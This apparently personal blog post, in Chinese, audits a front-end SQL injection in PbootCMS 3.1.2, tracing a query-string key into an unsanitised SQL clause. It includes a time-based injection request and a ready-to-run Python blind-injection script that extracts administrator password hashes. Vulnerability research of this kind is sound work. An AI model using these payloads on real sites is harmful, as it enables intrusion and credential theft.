PbootCMS3.1.2前台SQL注入漏洞分析

免责声明

本文章提供的内容仅用于个人学习、研究或欣赏。不保证内容的正确性。通过使用本站内容随之而来的风险与本站作者无关。

前言

寒假在家自己挖到一个CMS的漏洞,提交CNVD的时候发现别人已经提交过了,所以将其写成文章做一个总结。

环境搭建

源码下载:https://www.jb51.net/codes/609175.html

安装:参考README.md文档,按照步骤自行安装,安装成功后访问页面如下:

http://image.sqlone.top/av40/1.png

代码审计

方式

我用的是PHPstudy+VsCode

起因

在测试这个CMS的时候,我先使用某扫描器扫了一波,结果爆出前台有SQL注入,但是注入参数很复杂,然后自己使用mysql monitor工具查到了导致注入的SQL语句,虽然知道了利用方式,但依然是不明不白,不清楚为何导致的SQL注入,而且这种注入方式我从未见过(我称之为GET参数键名注入),于是开始了代码审计

http://image.sqlone.top/av40/2.png

http request:

GET /MyWebsite/pboot/PbootCMS-V3.1.2/?(select(0)from(select(sleep(4)))v)/*'%2B(select(0)from(select(sleep(4)))v)%2B'"%2B(select(0)from(select(sleep(4)))v)%2B"*/ HTTP/1.1
X-Requested-With: XMLHttpRequest
Referer: http://192.168.231.1/MyWebsite/pboot/PbootCMS-V3.1.2
Cookie: lg=cn; PbootSystem=mei4md668fkrnpva05h64b5v98; PHPSESSID=a9hca929lgsen09sg9al4j3a0e
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4512.0 Safari/537.36
Host: 192.168.231.1
Connection: Keep-alive

漏洞位置

  1. 我先去查看了这个CMS的路由(apps/common/route.php),与前台有关的路由只有三个,发现这三个路由并没有获取GET参数的键,显然与我之前发现的前台报错无关。
// =======前台路由============
'home/sitemap.xml' => 'home/Sitemap/index', // 站点地图XML格式
'home/sitemap.txt' => 'home/Sitemap/linkTxt', // 站点地图TXT格式
'home/sitemap' => 'home/Sitemap/index', // 站点地图默认XML
  1. 因为这个SQL注入是GET参数名注入,然后我尝试全局搜索了一下$_GET,发现GET数组的键都是固定的,也就是说无法通过键名注入

    http://image.sqlone.top/av40/6.png

  2. 除了$_GET$_SERVER["QUERY_STRING"]也可以获取GET数组。然后全局搜索$_SERVER["QUERY_STRING"],只有两个controller解析了GET参数:IndexController.phpParserController.php

http://image.sqlone.top/av40/3.png

  1. 初步猜测是IndexController.php导致了SQL注入。在对应处设置断点,开启调试,然后访问http://url/?test,成功抓取到我们输入的GET参数:test 。

http://image.sqlone.top/av40/4.png

http://image.sqlone.top/av40/5.png

对应代码:

/**
 * apps/home/Controller/IndexController.php
 * 空拦截器, 实现文章路由转发
 */
public function _empty()
    {
        // 地址类型
        $url_rule_type = $this->config('url_rule_type') ?: 3;

        if (P) { // 采用pathinfo模式及p参数伪静态模式
            // 禁止伪静态时带index.php访问
            if ($url_rule_type == 2 && stripos(URL, $_SERVER['SCRIPT_NAME']) !== false) { 
                _404('您访问的内容不存在,请核对后重试!');
            }
            $path = P;
        } elseif ($url_rule_type == 3 && isset($_SERVER["QUERY_STRING"]) && $qs = $_SERVER["QUERY_STRING"]){
            // 采用简短传参模式
            parse_str($qs, $output);
            unset($output['page']); // 去除分页
            if ($output && ! current($output)) { // 第一个路径参数不能有值,否则非标准路径参数
                $path = key($output); // 第一个参数为路径信息
            } elseif (get('tag')) { // 对于兼容模式tag需要自动跳转tag独立页面
                $tag = new TagController();
                $tag->index();
            } elseif (get('keyword')) { // 兼容模式搜索处理
                $search = new SearchController();
                $search->index();
            }
        }
  1. 逐步调试,下面我只写出解析$_SERVER["QUERY_STRING"]的主要代码:
$qs = $_SERVER["QUERY_STRING"]          //将GET参数赋值给$qs
parse_str($qs, $output);                //将$qs参数分割,并赋值给数组$output,注意键名中的'.'会转换为'_'
unset($output['page']);                 //去除page参数
if ($output && ! current($output)) {    //$output第一个参数不能有值,否则 current($output) 为真
    $path = key($output);               //将$output第一个参数赋值给$path
}
$path_arr = $path ? explode('/', $path) : array();  //将$path以'\'分割,结果赋值给$path_arr
if (isset($path_arr) && count($path_arr) > 0) {
            switch (strtolower($path_arr[0])) {
                    default:
                        if (! $suffix && ! ! $sort = $this->model->getSort($path)) {}   //SQL注入点
            }
}

$this->model->getSort()函数:

/**
 * apps/home/modle/ParseModle.php
 * 单个分类信息,不区分语言,兼容跨语言
 */
    public function getSort($scode)
    {
        $field = array(
            'a.*',
            'c.name AS parentname',
            'b.type',
            'b.urlname',
            'd.gcode'
        );
        $join = array(
            array(
                'ay_model b',
                'a.mcode=b.mcode',
                'LEFT'
            ),
            array(
                'ay_content_sort c',
                'a.pcode=c.scode',
                'LEFT'
            ),
            array(
                'ay_member_group d',
                'a.gid=d.id',
                'LEFT'
            )
        );
        return parent::table('ay_content_sort a')->field($field)
            ->where("a.scode='$scode' OR a.filename='$scode'")      //$scode参数可控
            ->join($join)
            ->find();
    }
  1. 基本可以确定是这里导致了SQL注入

自定义脚本

  • 由于$path = key($output)这一步中.会转换_,所以常规的information_schema.无法利用,我暂时也没有想到可以绕过的方式,所以这个SQL注入漏洞还是很有局限的,只能在当前库中查询,而且无法获取列名和表名,只能靠猜测。但是默认的列名和表名我们可以在本地去查:

http://image.sqlone.top/av40/7.png

  • 为了方便我自己写了一个查询后台管理员密码的python脚本,使用的是布尔注入
# pbootcms-3.0.12-sql注入爆破脚本
import requests
import urllib3


urllib3.disable_warnings()
# 
# 使用时候请输入目标URL
url = ""
test = "?1%27and%2Bif(mid((select(group_concat(username))from(ay_user)),1,1)>%271%27,1,0));%23"
test_payload = url + test
mid = 0

result = requests.get(test_payload)
if result.status_code == 200:
    pwd = ""
    for i in range(1, 33):
        min_value = 32
        max_value = 130
        while min_value < max_value:
            mid = (min_value + max_value) // 2
            if mid == min_value:
                break
            payload = "?1'and%2Bif(ord(mid((select(group_concat(password))from(ay_user)),{},1))%3C{},1,0));%23".format(
                i, mid)
            final_url = url + payload
            result = requests.get(final_url, verify=False)
            if result.status_code == 200:
                max_value = mid
            else:
                min_value = mid
        pwd += chr(mid)
        print(pwd)
else:
    print("payload错误")
  • 粘一张截图:

http://image.sqlone.top/av40/8.png

其他版本

我又对以前版本进行了测试,并不存在此漏洞,看了下源码,发现是以前的版本有一个地址分割符_,导致了$path_分割了,这就要求我们的SQL注入语句必须满足以下条件:

  • 不带._

而数据库中默认表名都是带_的,所以我们无法查询数据

总结

其实除了3.1.2,其他3.*版本都存在SQL注入,但是被过滤了._,无法查询有用数据,只能通过布尔注入查一些简单信息,如database()user()等等。

如果有其他大佬发现了更好的利用方式,希望可以私下交流交流。


文章作者: MissPower007
文章链接: http://time.pings.fun
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 MissPower007 !
评论
  目录